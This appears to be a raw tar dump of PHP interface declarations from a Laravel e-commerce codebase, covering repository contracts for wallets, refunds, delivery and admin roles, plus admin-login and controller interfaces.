Repositories/AddFundBonusCategoriesRepositoryInterface.php 0000644 00000000203 15007251240 0020176 0 ustar 00 <?php namespace App\Contracts\Repositories; interface AddFundBonusCategoriesRepositoryInterface extends RepositoryInterface { } Repositories/OrderStatusHistoryRepositoryInterface.php 0000644 00000000177 15007251240 0017527 0 ustar 00 <?php namespace App\Contracts\Repositories; interface OrderStatusHistoryRepositoryInterface extends RepositoryInterface { } Repositories/WalletTransactionRepositoryInterface.php 0000644 00000002356 15007251240 0017325 0 ustar 00 <?php namespace App\Contracts\Repositories; use App\Models\WalletTransaction; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface WalletTransactionRepositoryInterface extends RepositoryInterface { /** * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereSelect(array $orderBy = [], string $searchValue = null, array $filters = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param string $user_id * @param float $amount * @param string $transactionType * @param string $reference * @param array $payment_data * @return bool|WalletTransaction */ public function addWalletTransaction(string $user_id, float $amount, string $transactionType, string $reference, array $payment_data=[]): bool|WalletTransaction; /** * @param $amount * @return string|float */ public function addFundToWalletBonus(float $amount): string|float; } Repositories/AdminRoleRepositoryInterface.php 0000644 00000000166 15007251240 0015536 0 ustar 00 <?php namespace App\Contracts\Repositories; interface AdminRoleRepositoryInterface extends RepositoryInterface { } Repositories/DeliveryManTransactionRepositoryInterface.php 0000644 00000000203 15007251240 0020301 0 ustar 00 <?php namespace App\Contracts\Repositories; interface DeliveryManTransactionRepositoryInterface extends RepositoryInterface { } Repositories/VendorRegistrationReasonInterface.php 0000644 00000000173 15007251240 0016562 0 ustar 00 <?php namespace App\Contracts\Repositories; interface VendorRegistrationReasonInterface extends RepositoryInterface { } Repositories/DeliveryZipCodeRepositoryInterface.php 0000644 00000000174 15007251240 0016724 0 ustar 00 <?php namespace App\Contracts\Repositories; interface DeliveryZipCodeRepositoryInterface extends RepositoryInterface { } Repositories/HelpTopicRepositoryInterface.php 0000644 00000000166 15007251240 0015553 0 ustar 00 <?php namespace App\Contracts\Repositories; interface HelpTopicRepositoryInterface extends RepositoryInterface { } Repositories/OfflinePaymentMethodRepositoryInterface.php 0000644 00000000201 15007251240 0017733 0 ustar 00 <?php namespace App\Contracts\Repositories; interface OfflinePaymentMethodRepositoryInterface extends RepositoryInterface { } Repositories/RefundStatusRepositoryInterface.php 0000644 00000000171 15007251240 0016307 0 ustar 00 <?php namespace App\Contracts\Repositories; interface RefundStatusRepositoryInterface extends RepositoryInterface { } AdminServiceInterface.php 0000644 00000000331 15007251240 0011440 0 ustar 00 <?php namespace App\Contracts; interface AdminServiceInterface { public function isLoginSuccessful(string $email, string $password, string|null|bool $rememberToken): bool; public function logout(): void; } ControllerInterface.php 0000644 00000001152 15007251240 0011214 0 ustar 00 <?php namespace App\Contracts; use Illuminate\Contracts\View\View; use Illuminate\Database\Eloquent\Collection; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; use Illuminate\Pagination\LengthAwarePaginator; interface ControllerInterface { /** * This is the starting method of a Controller * @param Request|null $request * @param string|null $type * @return View|Collection|LengthAwarePaginator|callable|RedirectResponse|null */ public function index(?Request $request, string $type = null): View|Collection|LengthAwarePaginator|null|callable|RedirectResponse; }
Free Space : Byte